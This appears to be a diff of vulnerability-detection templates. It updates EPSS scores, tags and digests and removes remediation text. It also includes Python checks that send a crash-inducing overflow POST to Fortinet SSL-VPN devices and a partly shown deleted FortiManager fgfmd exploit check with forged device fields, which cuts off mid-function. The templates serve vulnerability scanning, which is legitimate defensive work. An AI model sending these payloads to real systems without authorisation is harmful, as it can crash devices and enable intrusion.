-              return 'UNEXPECTED', elapsed, buf.decode("utf-8", errors="replace")[:200]
-
-            except socket.timeout:
-              return 'TIMEOUT', time.time() - start_time, 'Socket timeout'
-            except Exception as e:
-              return 'CONNECTION_DROP', time.time() - start_time, str(e)
-
-          def post_exploit_connectivity_check(self):
-            """
-            Check if target is still responsive after exploit attempt.
-            This is the KEY differentiator between:
-            - Firewall/WAF drop (device still responsive)
-            - Actual crash (device unresponsive)
-
-            Returns: (responsive: bool, details: str)
-            """
-            print(f"[>] Waiting {POST_EXPLOIT_WAIT}s before post-exploit check...")
-            time.sleep(POST_EXPLOIT_WAIT)
-
-            for attempt in range(1, POST_EXPLOIT_RETRIES + 1):
-              print(f"[>] Post-exploit connectivity check (attempt {attempt}/{POST_EXPLOIT_RETRIES})...")
-              success, elapsed = self.check_connectivity(timeout=CONNECTIVITY_TIMEOUT)
-              if success:
-                return True, f"Device responsive after {elapsed:.2f}s"
-              time.sleep(1)
-
-            return False, "Device unresponsive after multiple attempts"
-
-          def is_vulnerable(self):
-            """
-            Improved vulnerability detection with false positive prevention.
-
-            Detection logic:
-            1. If target returns 413 -> PATCHED (not vulnerable)
-            2. If target times out waiting for data -> NOT VULNERABLE
-            3. If connection drops/empty response:
-               a. Check if device is still responsive
-               b. If responsive -> FALSE POSITIVE (firewall/WAF dropped connection)
-               c. If unresponsive -> LIKELY VULNERABLE (device crashed)
-            """
-            print("[>] Sending exploit payload...")
-            result, elapsed, details = self.send_exploit_payload()
-
-            print(f"[>] Exploit result: {result} (elapsed: {elapsed:.2f}s)")
-            print(f"[>] Details: {details[:100]}...")
-
-            # Case 1: Target is patched (413 response)
-            if result == 'PATCHED':
-              print("[+] Target is PATCHED - returned 413 Request Entity Too Large")
-              return False
-
-            # Case 2: Target waited for more data (timeout)
-            if result == 'TIMEOUT':
-              print("[+] Target waited for more data - NOT VULNERABLE")
-              return False
-
-            # Case 3: Connection drop or empty response - NEEDS VERIFICATION
-            if result in ('EMPTY_RESPONSE', 'CONNECTION_DROP'):
-              print("[!] Connection dropped or empty response - verifying if this is a false positive...")
-
-              # KEY FIX: Check if device is still responsive
-              responsive, check_details = self.post_exploit_connectivity_check()
-
-              if responsive:
-                # Device is still responsive = Firewall/WAF dropped the connection
-                print(f"[!] FALSE POSITIVE DETECTED: {check_details}")
-                print("[!] Device is still responsive after exploit attempt")
-                print("[!] This indicates firewall/IPS/WAF intervention, NOT a crash")
-                return False  # NOT VULNERABLE - false positive
+                self.socket = ctx.wrap_socket(self.cleartext_socket)
              else:
-                # Device is unresponsive = Possible crash
-                print(f"[+] Device appears to have crashed: {check_details}")
-                print("[+] Target may be VULNERABLE (device unresponsive after exploit)")
-                return True  # LIKELY VULNERABLE
+                self.socket = self.cleartext_socket
+              self.socket.settimeout(2.0)
+              self.socket.connect((self.host, self.port))

-            # Case 4: Unexpected response
-            if result == 'UNEXPECTED':
-              print(f"[?] Unexpected response received - manual review needed")
-              print(f"[?] Response: {details}")
+              return self.socket
+            except socket.timeout as e:
+              tries += 1
+              print("Connection timeout!")
+              continue
+            except Exception as e:
+              print("Unknown error!")
+              print(e)
              return None
+          return None
+        def check_by_get(self):
+          get_req = bytearray(b"")
+          get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"

-            # Case 5: Error
-            print(f"[!] Error during exploit: {details}")
+          print("[>] Sending GET first")
+          if self.connect() == None:
+            print("[!] Error connecting to target")
+            exit(1)
+          try:
+            self.socket.sendall(get_req)
+
+            self.socket.settimeout(10)
+            get_buf = self.socket.recv(1048576)
+
+            if len(get_buf) == 0:
+              print("Error while sending GET. Protocol mismatch?")
+              return None
+            self.socket.close()
+            return True
+          except socket.timeout as e:
+            print("[>] Target waited for more data.")
+            return False
+
+          except Exception as e:
+            print("[>] Target dropped the connection during test GET, which indicates a communication error!")
+            print(e)
            return None

-        if __name__ == '__main__':
-          host = os.getenv("Host")
-          port = int(os.getenv("Port"))
+        def is_vulnerable(self):
+          req = bytearray(b"")
+          req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+          req += b"AAAAAAAA"*(PADDING_LEN)

-          print("=" * 60)
-          print("CVE-2022-42475 - Fortinet SSL-VPN Heap Overflow Check")
-          print("(With False Positive Prevention)")
-          print("=" * 60)
-          print(f"[*] Target: {host}:{port}")
-          print(f"[*] SSL/TLS: {os.getenv('Scheme') == 'https'}")
-
-          exploit = SSLVPNExploit(host, port)
-
-          # Step 1: Pre-flight connectivity check
-          check = exploit.check_by_get()
-          if check != True:
-            print("[!] Pre-flight check failed - target unreachable")
+          print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
+          if self.connect() == None:
+            print("[!] Error connecting to target")
            exit(1)

-          # Step 2: Vulnerability check with false positive prevention
-          result = exploit.is_vulnerable()
+          try:
+            # Send the payload. Vuln instances will crash, severing the connection and
+            # causing an exception to be thrown here.
+            self.socket.sendall(req)

+            # If this read succeeds then the target is probably not vulnerable.
+            # If it times out, then it's also probably not vulnerable.
+            self.socket.settimeout(10)
+            buf = self.socket.recv(1048576)
+
+            # If the remote end disconnects without an HTTP response then it's vulnerable.
+            if len(buf) == 0:
+                return True
+
+            # Check to see if it has the vendor patch applied
+            if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
+                print("[>] Target is patched.")
+                return False # 100% confidence that it's not vulnerable.
+
+            # Ok, something weird and unexpected happened.
+            print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
+            print("----- BEGIN RESPONSE -----")
+            print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
+            print("----- END RESPONSE -----")
+            self.socket.close()
+            return None
+
+          except socket.timeout as e:
+            print("[>] Target waited for more data. Not vulnerable.")
+            return False
+          except Exception as e:
+            print("[>] Target dropped the connection, which indicates a vulnerable device!")
+            print(e)
+            return True
+
+      if __name__ == '__main__':
+        host=os.getenv("Host")
+        port=int(os.getenv("Port"))
+        exploit = SSLVPNExploit(host, port)
+        check = exploit.check_by_get()
+
+        if check == True:
+          result = exploit.is_vulnerable()
          if result == None:
-            print("[!] An error occurred testing for the vulnerability.")
-            print("[!] Is this even a FortiGate SSL-VPN?")
+            print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
            exit(2)

          if result == True:
-            print("=" * 60)
            print("[+] Target appears to be VULNERABLE")
-            print("[+] Device became unresponsive after exploit payload")
-            print("=" * 60)
            exit(0)
+
          else:
-            print("=" * 60)
            print("[+] Target is NOT vulnerable")
-            print("=" * 60)
            exit(1)

    matchers:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
-# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220200109caa2f7e95a45434593458382a6ca875167ade0946689005f9fc29664df0220764ae12713d8cb30e3105165bd261c4564a51b50ee294d63d57ca53aa338374d:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
-    epss-score: 0.15783
-    epss-percentile: 0.96447
+    epss-score: 0.91874
+    epss-percentile: 0.99680
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -30,7 +30,7 @@ info:
    vendor: canonical
    product: ubuntu_linux
    shodan-query: cpe:"cpe:2.3:o:canonical:ubuntu_linux"
-  tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical,vkev,vuln
+  tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical

 self-contained: true
 code:
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 490a0046304402204d36cd0cfd11f262429419ece3acef32b747d6446807c391d940a5a3231b9b37022055d0bf97488e145ec5a47281d15dba10cfbcca48431596d1d69fce2c79ff886c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202809a713e4b7f0f60945476a6178a11001fed63e5a210c5f7d1e3051d0f2d532022100c48469b0082d1264875fcb51ece29a27c1a5ecc9513ccca86afd183931ae3472:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    The Abandoned Cart Lite for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.14.2. This is due to insufficient encryption on the user being supplied during the abandoned cart link decode through the plugin. This allows unauthenticated attackers to log in as users who have abandoned the cart, who are typically customers. Further security hardening was introduced in version 5.15.1 that ensures sites are no longer vulnerable through historical check-out links, and additional hardening was introduced in version 5.15.2 that ensured null key values wouldn't permit the authentication bypass.
-  remediation: |
-    Upgrade Abandoned Cart Lite for WooCommerce plugin to version 5.15.2 or later that implements secure authentication and proper encryption.
-  impact: |
-    Attackers can log in as users, potentially accessing sensitive information and performing unauthorized actions.
  reference:
    - https://github.com/Alucard0x1/CVE-2023-2986
    - https://github.com/TycheSoftwares/woocommerce-abandoned-cart/pull/885#issuecomment-1601813615
@@ -20,8 +16,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
-    epss-score: 0.43502
-    epss-percentile: 0.98569
+    epss-score: 0.90996
+    epss-percentile: 0.99636
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -29,7 +25,7 @@ info:
    product: abandoned_cart_lite_for_woocommerce
    framework: wordpress
    fofa-query: body="/wp-content/plugins/woocommerce-abandoned-cart/"
-  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart,vkev,vuln
+  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart
 code:
  - engine:
      - php
@@ -630,4 +626,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4b0a00483046022100a22c3705a96bba757e0e54fe2ce8697372ff123358e3241f673e905c51a6f49b0221008956695199279a79683cd931b6d4a5c5f6fc1f597a66163c4fe1453a7cce6b86:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207360b6e655f665c3206296d537b3fb08f38c3e75292145fdd0ce7ff3d2ebc4950220555ab766a2fc4290ba5e70aebf3972ec448bbaa7f7ec17857a4d36eb1ce85d0d:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    An issue was discovered in ownCloud owncloud/core before 10.13.1. An attacker can access, modify, or delete any file without authentication if the username of a victim is known, and the victim has no signing-key configured. This occurs because pre-signed URLs can be accepted even when no signing-key is configured for the owner of the files. The earliest affected version is 10.6.0.
-  remediation: |
-    Upgrade OwnCloud to version 10.13.1 or later that properly validates signing keys and authentication in the WebDAV API.
-  impact: |
-    Attackers can access, modify, or delete any files without authentication, leading to data breach and integrity issues.
  reference:
    - https://owncloud.com/security-advisories/webdav-api-authentication-bypass-using-pre-signed-urls/
    - https://github.com/0xfed/ownedcloud
@@ -21,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
-    epss-score: 0.11074
-    epss-percentile: 0.95356
+    epss-score: 0.86688
+    epss-percentile: 0.99395
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -33,7 +29,7 @@ info:
      - http.title:"owncloud"
    fofa-query: title="owncloud"
    google-query: intitle:"owncloud"
-  tags: cve,cve2023,code,owncloud,auth-bypass,vuln
+  tags: cve,cve2023,code,owncloud,auth-bypass
 variables:
  username: admin

@@ -94,4 +90,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 4b0a00483046022100ff6b47c8f6730d7441edfadf957182bcacf1084ab7e8575f45b9f381d5bae4a10221008c8c8db88cb311fc5bb08628850fad1b0070128b1a00a396df3d513192546237:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d1361a88791cd15ca47fa69ee04109e863d4b64e0ff51fd402aee326f02b3afb022100956866982e3aa3ff3694a645f6b77b7a705056f078771cc8881db8f55acaff45:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: high
  description: |
    A buffer overflow was discovered in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue could allow a local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when launching binaries with SUID permission to execute code with elevated privileges.
-  remediation: |
-    Upgrade GNU C Library (glibc) to a version later than affected releases that fixes the buffer overflow in the dynamic loader's GLIBC_TUNABLES environment variable processing.
-  impact: |
-    Local attackers can execute arbitrary code with elevated privileges, potentially leading to full system compromise.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4911
    - https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
@@ -21,14 +17,14 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.78607
-    epss-percentile: 0.99533
+    epss-score: 0.78156
+    epss-percentile: 0.98452
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gnu
    product: glibc
-  tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu,vkev,vuln
+  tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu

 self-contained: true
 code:
@@ -43,4 +39,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a00473045022100b3cf1dbf4fbc089254d2525fef1510d3841e24c9c40c370726d1093907b95bc70220334c0b434b47dc2c40c3d1c0e4fe294fac1c600ea878c3f8dc2bfd4b8a1c28ed:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200467c526f6043a379948d8ced51cc69e62cda1e931a681fe275eb9860d715f37022100f445b6a72ea04c499b20fe826724ee120544d715795d1445709b8145a9895277:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: high
  description: |
    A heap-based buffer overflow was found in the __vsyslog_internal function of the glibc library. This function is called by the syslog and vsyslog functions. This issue occurs when the openlog function was not called, or called with the ident argument set to NULL, and the program name (the basename of argv[0]) is bigger than 1024 bytes, resulting in an application crash or local privilege escalation. This issue affects glibc 2.36 and newer.
-  remediation: |
-    Upgrade glibc to version 2.37 or later that properly handles program name buffer sizes in __vsyslog_internal.
-  impact: |
-    Local attackers can cause application crashes or escalate privileges through buffer overflow exploitation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6246
    - https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt
@@ -21,14 +17,14 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.04794
-    epss-percentile: 0.90794
+    epss-score: 0.26478
+    epss-percentile: 0.95613
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gnu
    product: glibc
-  tags: cve,cve2023,code,glibc,linux,privesc,local,gnu,vuln
+  tags: cve,cve2023,code,glibc,linux,privesc,local,gnu

 self-contained: true
 code:
@@ -43,4 +39,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 4b0a00483046022100ab0befac601e062804292d6559b09346692e3c85f936da50391956ab875b6373022100dbaf7b5a22651c7f629a2b6e7c2eef45de4b411c1f7922ecdff311be533864fa:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202186423140cba034149105b6c5f8fae507a03844c26e4329d1f4437abb29e41202201f13cba920b16ae34421b775498e1bca85f7cc6659582da1e8cfbad540281d7c:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    Improper neutralization of special elements used in a command ('Command Injection') vulnerability in Task Manager component in Synology BeePhotos before 1.0.2-10026 and 1.1.0-10053 and Synology Photos before 1.6.2-0720 and 1.7.0-0795 allows remote attackers to execute arbitrary code via unspecified vectors.
-  remediation: |
-    Upgrade Synology BeePhotos to version 1.0.2-10026 or 1.1.0-10053 or later, and Synology Photos to version 1.6.2-0720 or 1.7.0-0795 or later.
-  impact: |
-    Remote attackers can execute arbitrary code on the system, potentially leading to full system compromise.
  reference:
    - https://www.synology.com/en-us/security/advisory/Synology_SA_24_18
  classification:
@@ -17,8 +13,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.2838
-    epss-percentile: 0.97873
+    epss-score: 0.67637
+    epss-percentile: 0.98573
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -27,7 +23,7 @@ info:
    product: photos
    framework: diskstation_manager
    shodan-query: html:"BeeStation"
-  tags: unauth,synology,rce,websocket,diskstation,vuln
+  tags: unauth,synology,rce,websocket,diskstation

 variables:
  OAST: "{{interactsh-url}}"
@@ -58,4 +54,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 490a00463044022057e9456d787ed158a7b54b8cbac5636104dd4ce7c728bd38f99b07d96ab72280022026e76bf9008afc4609f62ff76806034050dd5e1fccbbc316bfced387f826be51:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bc3a13e648e7ec51ac1836066641533bfcdbb2cedab653a2e02b0fd70616fb4602204417a29e0f2a5863f30dfa9119cccd591a4435fcdd7a5ff36a762cbc92812c8b:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    A critical vulnerability has been discovered in Privileged Remote Access (PRA) and Remote Support (RS) products which can allow an unauthenticated attacker to inject commands that are run as a site user.
-  remediation: |
-    Apply the security patches provided by BeyondTrust for Privileged Remote Access and Remote Support products and restrict network access to trusted sources.
-  impact: |
-    Attackers can execute arbitrary commands as a site user, potentially leading to full system compromise or data breach.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12356
  classification:
@@ -17,14 +13,14 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
-    epss-score: 0.87991
-    epss-percentile: 0.99744
+    epss-score: 0.93687
+    epss-percentile: 0.99831
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
    product: privileged_remote_access
    verified: true
-  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev,vkev,vuln
+  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev

 code:
  - engine:
@@ -41,4 +37,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 4b0a00483046022100dad53e71d898efe278cb96c7a8f916c7df5127bd1624470107bc47d2f4076931022100e15e551bcc537c2db9e5e06c00b5ed6a5507fb11fdacb7b37bbf32440e82a8a5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008fdc45694288c9092a928bc2ba325f5b16bf96f4c94065e7afc046dffccdc7f6022100b3c8af22d05813a12e0a1cc490999e848f91a3bbeb4d9e87bc1e3c1dd6a45c0b:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,6 @@ info:
  severity: critical
  description: |
    The Zabbix server can execute commands for configured scripts. After executing a command, an audit entry is added to the "Audit Log". Due to the "clientip" field not being sanitized, it is possible to inject SQL into "clientip" and exploit a time-based blind SQL injection vulnerability.
-  impact: |
-    Attackers can inject SQL, leading to data disclosure, data tampering, or remote code execution.
  remediation: |
    Fixed in versions 6.0.28rc1, 6.4.13rc1, 7.0.0beta2
  reference:
@@ -21,8 +19,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
-    epss-score: 0.76618
-    epss-percentile: 0.99482
+    epss-score: 0.93881
+    epss-percentile: 0.99865
  metadata:
    max-request: 1
    vendor: zabbix
@@ -36,7 +34,7 @@ info:
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
-  tags: cve,cve2024,authenticated,zabbix,sqli,vkev,vuln
+  tags: cve,cve2024,authenticated,zabbix,sqli
 variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"
@@ -73,4 +71,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 4b0a00483046022100c94c41d4bc8930c541d53de3e7f1ebce6554bc989a5331d88798cc50905d5f6c022100a62f3a1c0ee3b3b80320d1c04d52b26a667c624c32f25ab2fb574898e1be1cab:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022057371395d4fb23fb810c20049a9d700a8284af6c1bc84864c23f1b4470dc4583022100f4d401098a82c09507f92f49757fb5d6085c9739a37aabc3f9ba8dcd894bdfa8:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    Malicious code was discovered in the upstream tarballs of xz, starting with version 5.6.0. Through a series of complex obfuscations, the liblzma build process extracts a prebuilt object file from a disguised test file existing in the source code, which is then used to modify specific functions in the liblzma code. This results in a modified liblzma library that can be used by any software linked against this library, intercepting and modifying the data interaction with this library.
-  remediation: |
-    Downgrade XZ Utils to version 5.4.x or earlier that does not contain the malicious backdoor code.
-  impact: |
-    Attackers can intercept and modify data processed by liblzma, leading to data tampering and potential data integrity breaches.
  reference:
    - https://www.openwall.com/lists/oss-security/2024/03/29/4
    - https://access.redhat.com/security/cve/CVE-2024-3094
@@ -21,14 +17,14 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.85974
-    epss-percentile: 0.99701
+    epss-score: 0.84169
+    epss-percentile: 0.99254
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: tukaani
    product: xz
-  tags: cve,cve2024,local,code,xz,backdoor,tukaani,vuln
+  tags: cve,cve2024,local,code,xz,backdoor,tukaani

 self-contained: true
 code:
@@ -63,4 +59,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 490a004630440220409843f3c4227eb2874f480d91239fcc4fb4e2356826b0a808b3ef487492b31502204cfb75238d2071641a23d14fe39d11b0ec92a16c896d064f8d44a591befba1b9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022058d32a2e8218872afa1f30ea214365196b87480a320425dd7b5082c3a11a01c00221009fb13dcff0743b605d213aee84fdc614cddbb7aa034a6bdfdfb5d6e6af71a8c6:922c64590222798bb761d5b6d8e72950
@@ -6,19 +6,15 @@ info:
  severity: high
  description: |
    Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
-  impact: |
-    Attackers can cause denial of service by sending heavily nested lists to sqlparse.parse(), triggering RecursionError and making the application unresponsive.
-  remediation: |
-    Upgrade sqlparse to a version later than the affected releases that implements recursion depth limits.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
-    epss-score: 0.0321
-    epss-percentile: 0.8652
+    epss-score: 0.15598
+    epss-percentile: 0.94407
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
-  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
+  tags: cve,cve2024,py,code,dos,python,sqlparse

 self-contained: true
 code:
@@ -33,4 +29,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 490a004630440220116cc33930c63d0835acab3d51ebc270163b61c0000c62511cec8a47b6c944fd02206d39dfd856be41ef0ad505255aff76a3ea7711d6f92fb0c7741975e2a0be0f08:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204fca66bc1127003bf7091c3ef4aa8c9a979c22405fb23f6e34ed6ef18a8b0daa0220188f7df879246724eac3b609b7bba222ff83e2a839029e7a0ef168c88260941c:922c64590222798bb761d5b6d8e72950
@@ -20,14 +20,14 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
-    epss-score: 0.10684
-    epss-percentile: 0.95241
+    epss-score: 0.14907
+    epss-percentile: 0.94531
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
    product: gitlab
    vendor: gitlab
-  tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev,vuln
+  tags: cve,cve2024,saml,auth-bypass,gitlab,code

 code:
  - engine:
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4b0a004830460221009be38c23891d1d8181bd674ff8271ff94f32b6dd2f0f0b39ee59cfc7a26e120f022100d0163b44796a5f7bf52bf01764118d83e7fe719f89fe1f590e8614c626915e31:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207fcad984b97d6cf3e7d103a97d8ac0b804375bc62fa335801c66337b72c68cb2022028a34cecc66c0b0b0afdc46859c2675df13bcf803911b3c5b00359239183b814:922c64590222798bb761d5b6d8e72950
@@ -1,150 +0,0 @@
-id: CVE-2024-47575
-
-info:
-  name: FortiManager Unauthenticated Remote Code Execution
-  author: 0x_Akoko,pussycat0x,watchTowr
-  severity: critical
-  description: |
-    A missing authentication vulnerability in Fortinet FortiManager allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests to the fgfmd daemon. This vulnerability affects FortiManager versions 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.12, and all versions of 6.0.
-  impact: |
-    Unauthenticated attackers can execute arbitrary code or commands through specially crafted requests to the fgfmd daemon, achieving complete FortiManager server compromise.
-  remediation: |
-    Update FortiManager to version 7.6.1 or later, 7.4.5 or later, 7.2.8 or later, 7.0.13 or later, or 6.4.15 or later.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2024-47575
-    - https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575
-    - https://fortiguard.fortinet.com/psirt/FG-IR-24-423
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2024-47575
-    cwe-id: CWE-306
-    epss-score: 0.96503
-    epss-percentile: 0.99874
-    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
-  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
-
-variables:
-  HOST: "{{Host}}"
-  PORT: "{{Port}}"
-  keysDir: "helpers/payloads/cve-2024-475759-keys"
-
-code:
-  - engine:
-      - py
-      - python3
-    source: |
-      import socket
-      import struct
-      import ssl
-      import logging
-      import os
-      import sys
-
-      logging.basicConfig(level=logging.INFO, format='%(message)s')
-
-      FW_VERSION = None
-
-      def create_ssl_context():
-          keys_dir = os.getenv("keysDir", "helpers/payloads/cve-2024-47575-keys")
-          cert_path = os.path.join(keys_dir, "w00t_cert.bin")
-          key_path = os.path.join(keys_dir, "w00t_key.bin")
-
-          try:
-              if os.path.isfile(cert_path) and os.path.isfile(key_path):
-                  context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
-                  context.load_cert_chain(certfile=cert_path, keyfile=key_path)
-                  context.check_hostname = False
-                  context.verify_mode = ssl.CERT_NONE
-                  logging.debug(f"Loaded certificate from {cert_path}")
-                  logging.debug(f"Loaded key from {key_path}")
-                  return context
-              else:
-                  logging.debug(f"Certificate or key not found: {cert_path}, {key_path}")
-                  context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
-                  context.check_hostname = False
-                  context.verify_mode = ssl.CERT_NONE
-                  return context
-          except Exception as e:
-              logging.debug(f"Failed to load certificates: {e}")
-              context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
-              context.check_hostname = False
-              context.verify_mode = ssl.CERT_NONE
-              return context
-
-      def send_message(sock, request):
-          message = struct.pack(">II", 0x36e01100, len(request) + 8) + request
-          sock.send(message)
-          hdr = sock.read(8)
-          if len(hdr) != 8:
-              return None
-          magic, size = struct.unpack(">II", hdr)
-          return sock.read(size - 8)
-
-      def check_vulnerability(target_ip, target_port, timeout=10):
-          global FW_VERSION
-
-          auth_request = b"get auth\r\nserialno=FGVMEVWG8YMT3R63\r\nmgmtid=00000000-0000-0000-0000-000000000000\r\nplatform=FortiGate-60E\r\nfos_ver=700\r\nminor=2\r\npatch=4\r\nbuild=1396\r\nbranch=1396\r\nmaxvdom=2\r\nfg_ip=192.168.1.53\r\nhostname=FortiGate\r\nharddisk=yes\r\nbiover=04000002\r\nharddisk_size=30720\r\nlogdisk_size=30107\r\nmgmt_mode=normal\r\nenc_flags=0\r\nmgmtip=192.168.1.53\r\nmgmtport=443\r\n\x00"
-
-          file_exchange_request = b"get file_exchange\r\nlocalid=123\r\nchan_window_sz=32768\r\ndeflate=gzip\r\nfile_exch_cmd=put_json_cmd\r\n\r\n\x00"
-
-          context = create_ssl_context()
-          sock = socket.create_connection((target_ip, target_port), timeout=timeout)
-          ssl_sock = context.wrap_socket(sock)
